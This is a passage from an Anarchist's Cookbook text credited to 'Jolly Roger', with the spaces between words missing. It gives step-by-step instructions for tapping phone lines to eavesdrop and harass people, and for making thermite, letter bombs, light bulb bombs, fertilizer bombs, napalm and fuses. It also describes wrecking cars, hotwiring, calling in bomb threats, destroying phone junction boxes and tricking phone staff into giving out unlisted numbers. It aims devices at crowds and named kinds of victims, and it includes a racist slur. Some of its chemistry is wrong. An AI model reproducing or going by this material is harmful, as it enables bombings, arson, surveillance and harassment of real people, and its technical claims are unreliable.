isinexpensive,usescommonpartsthatarereadilyavailable,issmall,islightweight,
anddoesnotrequirethedestructionofaphone.
BeigeBoxUses
TherearemanyusesforaBeigeBox.However,beforeyoucanuseit,youmust
know how to attach it to the output device. This device can be of any of Bell
switching apparatus that include germinal sets (i. e. remote switching centres,
bridgingheads,cansetc.).ToopenmostBellTelephoneswitchingapparatus,you
musthavea7/16inchhexdriver(oragoodpairofneedlenosepliersworkalso).
Thispieceofequipmentcanbepickedupatyourlocalhardwarestore.Withyour
hexdriver(orpliers),turnthesecuritybolt(s)approximately1/8ofaninchcounter
clockwise and open. If your output device is locked, then you must have some
knowledgeofdestroyingand/orpickinglocks.However,wehaveneverencountered
alockedoutputdevice.Onceyouhaveopenedyouroutputdevice,youshouldseea
massofwiresconnectedtoterminals.Onmostoutputdevices,theterminalsshould
belabelled"T"(Tipifnotlabelled,itisusuallyontheleft)and"R"(Ringifnot
labelled, usuallyontheright).Remember:Ring red right.The"ThreeR' s" a
simplewaytorememberwhichiswhich.Nowyoumustattachalltheredalligator
clip(Ring)tothe"R"(Ring)terminal.Attachthegreenalligatorclip(Tip)tothe"T"
(Tip)terminal.
Note:Ifinsteadofadialtoneyouhearnothing,adjustthealligatorclipssothat
theyarenottouchingeachotherterminals.Alsomakesuretheyarefirmlyattached.
Bythistimeyoushouldhearadialtone.DialANItofindoutthe numberyouare

using(youwouldn'twanttouseyourown).Herearesomepracticalapplications:
eavesdropping;longdistance,staticfreefreephonecallstofriends;diallingdirectto
Alliance Teleconferencing (also no static); fucking people over; bothering the
operatoratlittlerisktoyourself;BlueBoxingwithgreatlyreducedchanceofgetting
caughtandanythingatallyouwant,sinceyouareonanextensionofthatline.
EavesdroppingTobemosteffective,firstattachtheBeigeBoxthenyourphone.
This eliminates the static caused by connecting the box, therefore reducing the
potential suspicion of your victim. When eavesdropping, it is always best to be
neitherseennorheard.Ifyouhearsomeonediallingout,donotpanic;butrather
hangup,waitandpickupthereceiveragain.Thepersonwilleitherhavehungupor
triedtocompletetheircallagain.Ifthelatteristrue,thenlisteninandperhapsyou
willfindinformationworthyofblackmail!Ifyouwouldliketoknowwhoyouare
listeningto,afterdiallingANI,pullaCN/Aonthenumber.
DiallingLongDistance Thissectionisselfexplanatory,butdon'tforgettodiala
"1"beforetheNPA.
DiallingDirecttoAllianceTeleconferencingSimplydial07004561000and
youwillgetinstructionsfromthere.IpreferthismethodoverPBX's,sincePBX's
oftenhavepoorreceptionandaremoredifficulttocomeby.
FuckingPeopleOver Thisisaverylargetopicofdiscussion.Justbyusingthe
othertopicsdescribed,youcancreatealargephonebillfortheperson(theywillnot
havetopayforit,butitwillbeabighassleforthem).Inaddition,sinceyouarean
extensionoftheperson'sline,youcanleaveyourphoneoffthehookandtheywill
notbeabletomakeorreceivecalls.Thiscanbeextremelynastybecausenoone
wouldexpectthecauseoftheproblem.
BotheringtheOperator Thisisalsoselfexplanatoryandcanprovidehoursof
entertainment.Simplyaskherthingsthatareoffensiveoryouwouldnotliketraced
to your line. This also corresponds to the previously described section, Fucking
PeopleOver.Afterall,guesswho'slineitgetstracedto?Hehehe...
BlueBoxingSeeafileonBlueBoxingformoredetails.Thisisanespeciallynice
featureifyouliveinanESSequippedprefix,sincethecallsare,onceagain,not
tracedtoyourline!
Potentialrisksofbeigeboxing
OveruseoftheBeigeBoxmaycausesuspiciouswithintheGestapoandresultin
legalproblems.Therefore,Iwouldrecommandyou:Chooseasecludedspottodo
yourBeigeBoxing.Usemorethanoneoutputdevice.Keepalowprofile(i.e.,do
notpostunderyourrealnameonapublicBBSconcerningyouraccomplishments).
In order to make sure the enemy has not been inside your output device, I re
commandyouplaceapieceoftransparenttapeover theopeningof your output
device.Therefore,ifitisopenedinyourabsence,thetapewillbedisplacedandyou
willbeawareofthefactthatsomeonehasintrudedonyourterritory.Nowimagine
thepossibilities:a$2000dollarphonebillforthatspecialperson,976numbers
galore,evenharassingtheoperatoratnorisktoyou!Thinkofitaswalkingintoan
enemieshouse,andusingtheirphonetoyourheart'scontent.

HowtomakeaCO2bomb
bytheJollyRoger
Youwillhavetouseupthecartridgefirstbyeithershootingitorwhatever.Witha
nail,forceaholebiggersoastoallowthepowderandwicktofitineasily.Fillthe
cartridgewithblackpowderandpackitinthererealgoodbytappingthebottomof
thecartridgeonahardsurface(Isaidtapnotslam!).Insertafuse.Irecommenda
goodwaterproofcannonfuseoranm80typefuse,butfirecrackerfuseswork,if
youcanrunlikeablackmanrunsfromthecopsafterrapingawhitegirl.Now,light
it and run like hell ! It does wonders for a row of mailboxes (like the ones in
apartmentcomplexes),acar(placeunderthegastank),apicturewindow(placeon
windowsill),aphonebooth(placerightunderthephone)oranyotherdeviousplace.
Thisthingthrowsshrapnelandcanmakequitamess!!!
TermiteIIorabetterwaytomakeTermite
byJollyRoger
Termiteisnastyshit.Hereisagoodandeasywaytomakeit.Thefirststepistoget
someironoxide(whichisrust!).Hereisagoodwaytomakelargequantitiesina
shorttime:GetaDCconverterliketheoneusedonatrainset.Cuttheconnectoroff,
separate the wires, and strip them both. Now you need a jar of water with a
tablespoonorsoofsodiumchloride(whichissalt!)addedtoit.Thismakesthe
water conductive. Now insert both wires into the mixture (I am assuming you
pluggedtheconverterin...)andletthemsitforfiveminutes.Oneofthemwillstart
bubblingmorethantheother.Thisisthepositive(+)wire.Ifyoudonotdothistest
right,thefinalproductwillbetheopposite(chemically)ofrust,whichisrustacid.
Youhavenouseforthishere(althoughitisuseful!).Anyway,putthenailtiedto
thepositivewireintothejar.Nowputthenegativewireintheotherend.Nowletit
sitovernightandinthemorningscrapetherustoffofthenail&repeatuntilyougot
abunchofrustonthebottomoftheglass.Begenerouswithyourrustcollection.If
youaregoingthroughthetroubleofmakingtermite,youmightaswellmakealot,
right?Nowremovetheexcesswaterandpourthecrustysolutionontoacookie
sheet.Dryitinthesunforafewhours,orinsideovernight.Itshouldbeanorange
browncolour(althoughIhaveseenitinmanydifferentcolours!Sometimesthe
colourgetsfuckedup,whatcanIsay,butitisstillironoxide!)Crushtherustintoa
finepowderandheatitinacastironpotuntilitisred.Nowmixthepureironoxide
withpurealuminiumfilinoswhichcanbeboughtorfileddownbyhandfroman
aluminiumtubeorbar.Theratioorironoxidetoaluminiumis8gramsto3 grams.
Congrats!Youhavejustmadetermite!Now,tolightit.Termiterequiresalot of
heat(morethanablowtorch!)toignite.However,amagnesiumribbon(whichis
sortofhardtofind...callaround)willdothetrick.Ittakestheheatfromtheburning
magnesiumtolightthetermite.Nowwhenyouseeyourvictim'scar,pourafifty
centsizedpileontohishood,sticktheribboninitandlighttheribbonwiththeblow
torch.Nowchuckleasyouwatchitburnthroughthehood,theblock,theaxleand

thepavement.Becareful!Theidealmixturescanvaporizecarbonsteel!Another
ideaistousetermitetogetintopayphonecashboxes.Havefun!!!Seefile195.doc
forTermiteIII,thebestwaytomakeTermite.
TouchExplosives
byJollyRoger
Thisissortofamildexplosive,butitcanbequitedangerousinlargequantities.To
maketouchexplosive(suchasthatfoundinasnapnpop,butmorepowerful),use
this recipe: Mix iodine crystals into ammonia until the iodine crystals will not
dissolveintotheammoniaanymore.Pourofftheexcessammoniaanddryoutthe
crystalsonabakingsheetthesamewayasyoudriedthetermite(inotherwords,just
letitsitovernight!).Becarefulnowbecausethesecrystalsarenowyourtouch
explosive.Carefullywrapabunchinpaper(Imeancarefully!Frictionsets'em
off!)andthrowthemaround...prettyloud,huh?Theyarefuntoputonsomeone's
chair.Addasmallfishsinkertothemandtheycanbethrownalongdistance(good
forcrowds,footballgames,concertsetc.).Havefun!
LetterBombs
byJollyRoger
Youwillfirsthavetomakeamildversionoftermite.Usemyrecipe,butsubstitute
iron fillings for rust. Mix the iron with aluminium fillings in a ratio of 75 %
aluminiumto25%iron.Thismixturewillburnviolentlyinaclosedspace(suchas
anenvelope).Thisbringustoournextingredient.Gotothepostofficeandbuyan
insulated(padded)envelope.Youknow,thetypethatisdoublelayered.Separatethe
layersandplacethemildtermiteinthemainsection,wheretheletterwouldgo.Then
placemagnesiumpowderintheouterlayer.Thereisyourbomb!!!Nowtolightit,
thisisthetrickypartandhardtoexplain.Justkeepexperimentinguntilyouget
somethingthatworks.ThefuseisjustthattouchexplosiveIhavetoldyouaboutin
anotheroneofmyanarchyfiles.Youmightwanttowrapitlikealongcigaretteand
thenplaceitatthetopoftheenvelopeintheouterlayer(ontopofthepowdered
magnesium).Whenthetouchexplosiveistornorevensqueezedharditwillignite
thepowderedmagnesium(sortofaflashlight)andthenitwillburnthemildtermite.
Ifthetermitedidn'tblowup,itwouldatleastburnthefuckoutofyourenemy(it
doeswondersonhumanflesh!).
PaintBombs
byJollyRoger
Tomakeapainbombyousimplyneedametalpaincanwitharefastenablelid,a
nicebrightcolourpaint(green,pink,purpleorsomegrosscolourisperfect!)anda
quantityofdryice.Placethepaintinthecanandthendropthedryicein.Quickly

placethetoponandthenrunlikehell!Withsometestingyoucantimethistoa
science.Itdependsontheratioofdryicetopainttothesizeofthecantohowfullit
is.Ifyouarereallypissedoffatsomeone,youcouldplaceitontheirdoorstep,knock
onthedoorandthenrun!!!PaintwillflyallovertheplaceHahaha!!!
WaystosendacartoHell
byJollyRoger
Thereare1001waystodestroyacarbutIamgoingtocoveronlytheonesthatare
themostfun(foryou),themostdestructive(forthem)andthehardesttotrace(for
thecops).Placetermiteonthehood,lightitandwatchitburnallthewaythroughthe
pavement!TapeaCO2bombtothehood,axel,gastank,wheel,muffleretc.)Puta
tampon,dirt,sugar(thisoneisgood!),apingpongballorjustaboutanythingthat
willdissolveinthegastank.Plasticdeformsanddilutesintogas.Thefinalresultis
much harder to inject into the engine, possibly causing valve replacement. Put
potatoes, rocks, bananas or anythingthat willfit,intothe tailpipe.Use abroom
handletostuff'emupintothetailpipe.Putalongragintothegastankandlightit.
Stealakey,copyit,replaceit,andthenstealthestereo.Breakintothecar.Cutathin
metalrulerintoashapelikethis:
(Revisedill.4.14)

Slideitintotheoutsidewindowandkeeppullingitbackupuntilyoucatchthelock
cablewhichshouldunlockthedoor.ThisdeviceisalsocalledaSlimJim.Nowget
thestereo,equalizer,radardetectoretc.Nowdestroytheinside(Asharpknifedoes
wondersontheseats!).

MoreWaystoSendaCartoHell
byJollyRoger
Duetoalotofcompliments,Ihavewrittenanupdatetofile#14.Ihaveleftthe
originalintact.Thisexpandsupontheoriginalideaandcouldbewellcalledasequal.
Howtohavefunwithsomeoneelse'scar.IfyoureallydetestsomeoneandImean
detest,here'safewtipsonwhattodoinyoursparetime.Movethewindshieldwiper

bladesandinsertandgluetacks.Thetacksmakelovelydesigns.Ifyour"friend"goes
toschoolwithyou,Justbeforehecomesoutofschool.Lightalighterandthenputit
directlyunderneathhiscardoorhandle.Wait!Leave!Listen!Whenyouheara
loud"shit!",youknowhemadeittohiscarintime.Removehismufflerandpour
approximately1Cupofgasinit.Putthemufflerback,thenwaittilltheircarstarts.
Then you have a cigarette lighter. A 30 foot long cigarette lighter. This one is
effective,andanyfoolcandoit.Removethetopairfilter.That'sit!Oraoldiebut
goodie:sugarinthegastank.Stuffragssoakedingasuptheexhaustpipe.Thenyou
wonderwhyyour"friend"hastroublewithhis/herlungs.Here'sonethattakestime
andmanyfriends.Takehis/hercarthenbreakintotheirhouseandreassembleitin
theirlivingorbedroom.Funeh?Ifyou'reintoengines,sayeeniminemoeandpoint
tosomethingandremoveit.Theywonderwhysomethingdoesn'twork.Thereareso
manyothers,buttherealgoodjuicyonescomebythinkinghard.
Doyouhateschool?
byJollyRoger
Oneofmyfavouritesforgettingoutofaclassortwoistocallinabombthreat.
Tell'emthatitisinalocker.Thentheyhavetocheckthemall,whilstyoucanslip
away for an hour or two. You can even place a fake bomb (in any locker but
yours!).Theymightcancelschoolforaweekwhiletheyinvestigate(ofcourse,you
willprobablyhavetomakeitupinthesummer...).Getsomepurepotassiumorpure
sodium,putitinacapsuleandflushitdownthetoilet(smellsawful!Stinksupthe
wholeschool!).Useasmokegrenadeinthehallway.Stealthecomputerpasswords
&keysorstealthe80columncardsinsideiftheyare(gag)IBM.Makefriendswith
studentassistantsandhavethemchangeyourgradeswhentheteachershandintheir
bubblesheetsforthereportcards.Spityourgumoutonthecarpetinthelibraryor
whateverandgrinditintothecarpet.Watchthejanitorscry!Drawonlockersor
spraypaintonthebuildingthattheprincipalisafascist.Stickapotatointhetailpipe
of the principal' s car. Get a virus from The Black Gate BBS, and infect their
computers!MostlikelytheyuseWordPerfect,Excelandshitlikethat.

Phonerelatedvandalism
byJollyRoger
If you live where there are underground lines then you will be able to ruin
someone'sphonelifeveryeasily.Allyoumustdoisgototheirhouseandfindthe
green junction box that interfaces their line (and possibly some others in the
neighbourhood)withthemajorlines.Thesecanbefoundjustaboutanywherebut
theyareusuallyunderneaththenearestphonepole.Takeasocketwrenchandloosen

thenutontheright.Thenjusttakeclippersorasledgehammerorabomband
destroytheinsidesandpulluptheirphonecable.Nowcutitintosegmentssoitcan't
befixedbutmustbereplaced(Thereisaweek'sworthofworkfor'em!!!).Another
placetofuckwithlinesisinnewdevelopments.Whenhouses/apartments/condos
arestillintheplywoodanddirtstage,thelinesarerunintojunctionboxes.Whenthe
crewgoeshomefortheday,planyourattack.Justdestroytheshitoutofthebox,
thenreplacethecover.Watchem'gonutsastheytrytofigureoutwheretheline
brokeinthewalls!
Highwayradarjamming
byJollyRoger
Mostdriverswantingtomakebettertimeontheopenroadwillinvestinoneof
thoseexpensiveradardetectors.However,thisdevicewillnotworkagainstagun
typeradarunitinwhichtheradarsignalisnotpresentuntilthecophasyourcarin
hissightsandpullsthetrigger.Thenitistoolateforyoutoslowdown.Abetter
methodistocontinuouslyjamanysignalwitharadarsignalofyourown.Ihave
testedthisideawiththecooperationofalocalcopandfoundthathisunitreads
randomnumberswhenmycarapproachedhim.Itissurprisinglyeasytomakealow
power radar transmitter. A nifty little semiconductor called a Gun Diode will
generatemicrowaveswhensuppliedwiththe5to10voltDCandenclosedinthe
correctsizecavity(resonator).An8to3terminalregulatorcanbeusedtogetthis
voltagefromacar's12Vsystem.However,thecorrectconstructionandtuningofthe
cavityisdifficultwithoutgoodmicrowavemeasurementequipment.Policeradars
commonlyoperateontheKbandat22ghz.OrmoreoftenontheXbandat10525
ghzmostmicrowaveintruderalarmsandmotiondetectors(mountedoverautomatic
doors in supermarkets & banks etc.) contain a Gun type transmitter/ receiver
combination that transmits about 10 kilowatts at 10 525 ghz. These units work
perfectlyasjammers.Ifyoucannotgetonelocally,writetoMicrowaveAssociatesin
Burlington,MassachussettesandaskthemforinfoonGunplexersforhamradio
use.Whenyougettheunititmaybemountedinaplasticboxonthedashorina
weatherprofenclosurebehindtheplasticgrille.Switchonthepowerwhenonan
openhighway.Theunitwillnotjamradartothesideorbehindthecarsodon'tgo
speedingpasttheradartrap.Aninterestingphenomenayouwillnoticeisthatthe
driverswhoareinfrontofyouwhoareusingdetectorswillhittheirbrakesasyou
approachlargemetalsignsandbridges.Yoursignalisbouncingoffoftheseobjects
andtriggeringtheirradardetectors!
P. S. If you are interested in this sort of thing, get a copy of Popular
Communications.Theadsintheretellyouwhereyoucangetallkindsofinfoonall
kindsofneatequipmentforallkindsofneatthings!
SmokeBombs
byJollyRoger

 Hereistherecipeforonehelluvasmokebomb!4partssugar;6partspotassium
nitrate(SaltPeter).Heatthismixtureovera low flameuntilitmelts,stirringwell.
Pouritintoafuturecontainerand,beforeitsolidifies,imbedafewmatchesintothe
mixturetouseasfuses.Onepoundofthisstuffwillfillupawholeblockwiththick,
whitesmoke!
MailBoxBombs
byJollyRoger
Twolitrebottleofchlorine(mustcontainsodiumhypochlorate).Smallamountof
sugar.Smallamountofwater.Mixallthreeoftheseinequalamountstofillabout1/
10ofthebottle.Screwonthelidandplaceinamailbox.It'shardtobelievethatsuch
asmallexplosionwillliterallyripthemailboxinhalfandsendit20feetintotheair!
Becarefuldoingthis,though,becauseifyouarecaught,itisnotuptotheperson
whosemailboxyoublewuptopresscharges.Itisuptothecity.
Theeasiestwaytohotwirecars
byJollyRoger
Getinthecar.Lookunderthedash.Ifitenclosed,forgetitunlessyouwanttocut
throughit.Ifyoudo,doitneartheignition.Onceyougetbehindorneartheignition
lookfortworedwires.Inoldercarsredwasthestandardcolour,ifnot,lookfortwo
matchedpairs.Whenyoufindthem,crossthemandtakeoff!
HowtomakeNapalm
byJollyRoger
Poursomegasintoanoldbowl,orsomekindofcontainer.Getsomestyrofoam
andputitinthegas,untilthegaswon'teatanymore.Youshouldhaveastickysyrup.
Putitontheendofsomething(don'ttouchit!!!).Theunusedstufflastsalongtime!

Howtomakeafertilizerbomb
byJollyRoger
Ingredients
Newspaper.Fertilizer(thechemicalkind,greenthumbororcho).Cotton.Diesel
fuel.Makeapouchoutofthenewspaperandputsomefertilizerinit.Thenputcotton
ontop.Soakthecottonwithfuel.Thenlightandrunlikeyouhaveneverranbefore!
Thisblowsup500squarefeetsodon'tdoitinanalley!

TennisBallBombs
byJollyRoger
Ingredients
Strikeanywherematches.Atennisball.Anicesharpknife.Ducttape.Breakaton
ofmatchheadsoff.Thencutasmallholeinthetennisball.Stuffallofthematch
headsintotheball,untilyoucan'tfitanymorein.Thentapeoveritwithducttape.
Makesureitisrealniceandtight!Then,whenyouseeageekwalkingdownthe
street,giveitagoodthrow.Hewillhaveablast!!!
DisketteBombs
byJollyRoger
Youneed
Adisk.Scissors.Whiteorbluekitchenmatches(theymustbethesecolours!).
Clearnailpolish.Carefullyopenupthediskette(3.5"disksarebestforthis!).
Removethecottoncoveringfromtheinside.Scrapealotofmatchpowderintoa
bowl(useawoodenscraper,metalmightsparkthematchpowder!)Afteryouhave
alot,spreaditevenlyonthedisk.Usingthenailpolish,spreaditoverthematch
mixture.Letitdry.Carefullyputthediskettebacktogetherandusethenailpolishto
sealitshutontheinside(whereitcameapart).Whenthatdiskisinadrive,thedrive
headattemptstoreadthedisk,whichcausesasmallfire(enoughheattomeltthe
diskdriveandfucktheheadup!!!).Ahahahahaha!Letthefuckheadtryandfix
that!

UnlistedPhoneNumbers
byJollyRoger
Thereareacoupleofdifferentwaysofdoingthis.Let'sseeifthisonewillhelp:
Everycityhasoneormoreofficesdedicatedtoassigningnumberstothetelephone
wirepairs.TheseofficesarecalledDPACofficesandareavailabletoservicereps
whoareinstallingorrepairingphones.TogettheDPACnumber,aservicerepwould
callthecustomerservicenumberforbillinginformationinthetownthatthenumber
is located in that he is trying to get the unlisted number of. (Got that ? ) The
conversationwouldgosomethinglikethis:"Hi,Amarillo,thisisJoefromAnytown

businessoffice,IneedtheDPACnumberforthesouthsideoftown."Thisinfois
usuallypassedoutwithnoproblems,so...ifthefirstpersonyoucalldoesn'thaveit,
tryanother.Remember,noonehasanyideawhothehellyouarewhenyouare
talkingonthephone,soyoucanbeanyoneyoudamnwellplease!(heheheheh!)
WhenyoucalltheDPACnumber,justtellthemthatyouneedalistingforeitherthe
addressthatyouhaveorthename.DPACdoesnotshowwhetherthenumberis
listedorunlisted!!!Also,ifyou'regoingtomakeahabitofchasingnumbersdown,
you might want to check into getting a criss cross directory, which lists phone
numbersbytheiraddresses.Itcostsacoupleahundredbucks,butitiswellworthit
ifyouhavetochasemorethanoneortwonumbersdown!
Fuses
byJollyRoger
Youwouldbesurprisedhowmanyfilesareouttherethatusewhatfallsunderthe
categoryofa"fuse."Theyassumethatyoujusthaveafewlyingaroundorknow
wheretogetthem.Well,insomepartsofthecountry,fusesareextremelyhardto
comeby,sothisfiletellsyouhowtomakeyourown.Bothfusespresentedhereare
fairlysimpletomakeandarefairlyreliable.
Slowburningfuse(approx.2inchesperminute)
Materialsneeded:Cottonstringor3shoelaces.PotassiumNitrateorPotassium
Chlorate.Granulatedsugar.
Procedure
Washthecottonstringorshowlacesin hot soapywater,thenrinsewithfresh
water. Mix the following together in a glass bowl: 1 part potassium nitrate or
potassium chlorate 1 part granulated sugar 2 parts hot water. Soak strings or
shoelacesinthissolution.Twist/braid3strandstogetherandallowthemtodry
Checktheburnratetoseehowlongitactuallytakes!!!
Fastburningfuse(40inchesperminute)
Materialsneeded:Softcottonstring;fineblackpowder(emptyafewshotgun
shells!);shallowdishorpan.
Procedure
Moistenpowdertoformapaste;twist/braid3strandsofcottontogether;rubpaste
intostringandallowtodry.Checktheburnrate!
HowtomakePotassiumNitrate

byJollyRoger
PotassiumNitrateisaningredientinmakingfuses,amongotherthings.Hereis
howyoumakeit.Materialsneeded:3,5gallonsofnitratebearingearthorother
material;1/2cupofwoodashes.Bucketorothersimilarcontainerabout45gallons
involume;2piecesoffinelywovencloth,eachabitbiggerthanthebottomofthe
bucket.Shallowdishorpanatleastaslargeindiameterasthebucket.Shallow,heat
resistantcontainer;2gallonsofwater.Somethingtopunchholesinthebottomofthe
bucket;1gallonofanytypeofalcohol.Aheatsource.Paper&tape.
Procedure
Punchholesontheinsidebottomofthebucket,sothatthemetalis"puckered"
outwardfromthebottom.Spreadclothovertheholesfromthebottom.Placewood
ashesonthecloth.Spreaditoutsothatitcoverstheentireclothandhasaboutthe
samethickness.Place2ndclothontopofthewoodashes.Placethedirtorother
materialinthebucket.Placethebucketovertheshallowcontainer.
Note:Itmayneedsupportonthebottomsothattheholesonthebottomarenot
blocked.Boilwaterandpouritovertheearthveryslowly.Donotpouritallatonce,
asthiswillclogthefilteronthebottom.Allowwatertorunthroughholesintothe
shallowdishonthebottom.Besurethatthewatergoesthroughalloftheearth!
Allowwaterindishtocoolforanhourorso.Carefullydraintheliquidinthedish
awayanddiscardthesludgeinthebottom.Boilthisliquidoverafireforatleasttwo
hours.Smallgrainsofsaltwillformscooptheseoutwiththepaperastheyform.
Whentheliquidhasboileddownto1/2itsoriginalvolumeletitsit.After1/2hour,
addequalvolumeofthealcohol;whenthismixtureispouredthroughpaper,small
whitecrystalsappear.Thisisthepotassiumnitrate.

Purification
Redissolvecrystalsinsmallamountofboilingwater.Removeanycrystalsthat
appear.Pourthroughimprovisedfilterthenheatconcentratedsolutiontodryness.
Spreadoutcrystalsandallowtodry.
Lightbulbbombs24.14
byJollyRoger
Anautomaticreactiontowalkingintoadarkroomistoturnonthelight.Thiscan
befatal,ifalightbulbbombhasbeenplacedintheoverheadlightsocket.Alight
bulbbombissurprisinglyeasytomake.Italsocomeswithitsowninitiatorand
electricignitionsystem.Onsomelightbulbsthelightbulbglasscanberemoved
fromthemetalbasebyheatingthebaseofalightbulbinagasflame,suchasthatof

ablowtorchorgasstove.Thismustbedonecarefully,sincetheinsideofalightbulb
isavacuum.Whenthegluegetshotenough,theglassbulbcanbepulledoffthe
metalbase.Onotherbulbs,itisnecessarytoheattheglassdirectlywithablowtorch
oroxyacetylenetorch.Ineithercase,oncethebulband/orbasehascooleddownto
roomtemperatureorlower,thebulbcanbefilledwithanexplosivematerial,suchas
blackpowder.Iftheglasswasremovedfromthemetalbase,itmustbegluedback
ontothebasewithepoxy.Ifaholewasputinthebulb,apieceofducttapeis
sufficienttoholdtheexplosiveintheinthebulb.Then,aftermakingsurethatthe
sockethasnopowerbycheckingwithaworkinglightbulb,allthatneedbedoneis
to screw the light bulb bomb into the socket. Such a device has been used by
terroristsorassassinswithmuchsuccess,sincefewpeoplewouldsearchtheroomfor
abombwithoutfirstturningonthelight.
Underwaterigniters
byJollyRoger
Materialsneeded:Packof10silicondiodes(availableatRadioShack.Youwill
knowyougottherightonesiftheyarevery,verysmallglassobjects!).Packof
matches;1candle.
Procedure
Lightthecandleandallowapoolofmoltenwaxtoforminthetop.Takeasingle
matchandholdtheglasspartofasinglediodeagainstthehead.Bendthediodepins
aroundthematchheadsothatonewrapsinanupwarddirectionandthensticksout
totheside.Dothesamewiththeotherwire,butinadownwarddirection.Thediodes
shouldnowbehuggingthematchhead,butitswiresmustnottoucheachother!Dip
thematchheadinwaxtogiveitawaterproofcoat.Theseworkunderwater;repeat
tomakeasmanyasyouwant.
Howtousethem
Whentheselittledudesarehookedacrossa6Vbattery,thediodereacheswhatis
calledbreakdownvoltage.Whenmostelectricalcomponentsreachthisvoltage,they
usuallyproducegreatamountsofheatandlight,whilequicklymeltingintoalittle
blob.Thisheatisenoughtoigniteamatchhead.Thesearerecommendedforuse
underwater,wheremostotherignitersrefusetowork.Enjoy!
Homebrewblastcannon
byJollyRoger
Materialsneeded
1plasticdrainpipe,3feetlong,atleast31/2inchesindiameter;1smallerplastic

pipe,about6incheslong,2inchesindiameter;1largelighter,withfluidrefills(this
gobblesitup!);1pipecaptofitthelargepipe,1pipecaptofitthesmallpipe;5feet
ofbellwire;1SPSTrockerswitch;16vPolaroidpotapulsebattery;15vrelay
(getthisatRadioShack).ElectricalTape.Onefreeafternoon.
Procedure
Cutthebellwireintothreeequalpiecesandstriptheends.Cutaholeinthesideof
thelargepipe,thesamediameterasthesmallpipe.Threadtheholeandoneendof
thesmallpipe.Theyshouldscrewtogethereasily.Takeapieceofscrapmetal,and
benditintoan"L"shape,thenattachittothelevelonthelighter:
/gasswitchishere
V
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!lighter!!<metallever
!!!
!!
Noweverytimeyoupullthetriggergasshouldflowfreelyfromthelighter.You

mayneedtoenlargethegasportonyourlighter,ifyouwishtobeabletofiremore
rapidly.Connecttwowirestothetwopostsontheswitch.Cuttwoholesintheside
ofthesmallertube,onefortheswitchonthebottomandoneforthemetalpieceon
thetop.Thenmounttheswitchinthebottom,runningthewiresupandoutofthe
top.Mountthelighter/triggerinthetop.Nowtheswitchshouldrockeasilyandthe
triggershouldcausethelightertopouroutgas.Rescrewthesmallertubeintothe
largerone,holddownthetriggerabit,letitgoandthrowamatchinthere.Ifallgoes
well,youshouldhearanicebigthud!Getaholdoftherelayandtakeoffthetop.
1v/
2/<thecentreobjectisthemetalfingerinsidetherelay
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Connect(1)tooneofthewirescomingfromtheswitch.Connect(2)to(4)and

connect(5)toonesideofthebattery.Connecttheremainingwirefromtheswitchto
theothersideofthebattery.Nowyoushouldbeabletogettherelaytomakealittle
buzzingsoundwhenyoufliptheswitchandyoushouldseesometinylittlesparks.
Now,carefullymounttherelayontheinsideofthelargepipe,towardstheback.
Screwonthesmallerpipe,tapethebatterytothesideofthecannonbarrel(yes,but
looksaren'teverything!)Youshouldnowbeabletoletalittlegasintothebarrel and
setitoffbyflippingtheswitch.Putthecaponthebackendofthelargepipevery

securely.Youarenowreadyforthefirsttrialrun!
ToTest
Putsomethingvery,verylargeintothebarrel,justsothatitfitsjustright.Now,
findastrongguy(therecoilwillprobablyknockyouonyourassifyouaren'tcareful
!).Putonashoulderpad,earmuffsandpossiblysomeotherprotectiveclothing(trust
theJollyRoger!Youaregoingtoneedit!).Holdthetriggerdownfor30seconds,
holdontightandhittheswitch.Withluckandtheproperadjustmentsyoushouldbe
abletoputafrozenorangethrough1/4orplywoodat25feet.
ChemicalEquivallencylist
byJollyRoger
AcaciaGumArabic
LeadAcetateSugarofLead
AceticAcidVinegar
LeadTerooxideRedLead
AluminiumOxideAlumia
MagnesiumSilicateTalc
AluminiumPotassiumSulphateAlum MagnesiumSulfateEpsomSalt
AluminiumSulfateAlum
MethylsalicylateWinterGreenOil
AmmoniumCarbonateHartshorn
NaphthaleneMothballs
AmmoniumHydroxideAmmonia
PhenolCarbolicAcid
AmmoniumNitrateSaltPeter
PotassiumBicarbonateCreamofTarter
AmmoniumOleateAmmoniaSoap
PotassiumChromiumSulfate
AmylacetateBananaOil
Chromealum
BariumSulfideBlackAsh
PotassiumNitrateSaltPeter
CarbonCarbinateChalk
SodiumOxideSand
CarbontetrachlorideCleaningFluid
CalciumHypochlorideBleachingPowder SodiumBicarbonateBakingSoda
CalciumOxideLime
SodiumBorateBorax
CalciumSulfatePlasterofParis
SodiumCarbonateWashingSoda
CarbonicAcidSeltzer
SodiumChlorideSalt
Cetyltrimethylammoniumbromide
SodiumHydroxideLye
AmmoniumSalt
SodiumSilicateGlass
EthylinedichlorideDutchFluid
SodiumSulfateGlauber'sSalt
FerricOxideIronRust
SodiumThiosulfatePhotographe'sHypo
FurfuraldehydeBranOil
SulfuricAcidBatteryAcid
GlucoseCornSyrup
SucroseCaneSugar
GraphitePencilLead
ZincChlorideTinner'sFluid
HydrochloricAcidMuriaticAcid
ZincSulfateWhiteVitriol
HydrogenPeroxidePeroxide
broughttoyouintheAnarchist'sCookBook4.14.
PhoneTaps
byJollyRoger

Hereissomeinfoonphonetaps.Inthisfileisaschematicforasimplewiretap&
instructionsforhookingupasmalltaperecordercontrolrelaytothephoneline.
First,Iwilldiscusstapsalittle.Therearemanydifferenttypesoftaps.Thereare
transmitters, wired taps and induction taps to name a few. Wired and wireless
transmittersmustbephysicallyconnectedtothelinebeforetheywilldoanygood.
Onceawirelesstapisconnectedtotheline,itcantransmitallconversationsovera
limitedreceptionrange.Thephonesinthehousecanevenbemodifiestopickup
conversationsintheroomandtransmitthemtoo!Thesetapsareusuallypoweredoff
of the phone line, but can have an external power source. You can get more
information on these taps by getting an issue of Popular Communications and
readingthroughtheads.Wiredtaps,ontheotherhand,neednopowersource,buta
wiremustberunfromthelinetothelistenerortoatransmitter.Thereareobvious
advantagesofwirelesstapsoverwiredones.Thereisonetypeofwirelesstapthat
lookslikeanormaltelephonemike.Allyouhavetodoisreplacetheoriginalmike
withthisanditwilltransmitallconversations!Thereisalsoanexotictypeofwired
tapknownastheInfinityTransmitterorHarmonicaBug.Inordertohookoneof
these,itmustbeinstalledinsidethephone.Whensomeonecallsthetappedphone&
*before*itrings,blowsawhistleovertheline,thetransmitterpicksupthephonevia
arelay.Themikeonthephoneisactivatedsothatthecallercanhearallofthe
conversationsintheroom.Thereisasweeptonetestat415/BUG1111whichcan
beusedtodetectoneofthesetaps.Ifoneoftheseisonyourline&thetest#sends
thecorrecttone,youwillhearaclick.Inductiontapshaveonebigadvantageover
tapsthatmustbephysicallywiredtothephone.Theydonothavetobetouchingthe
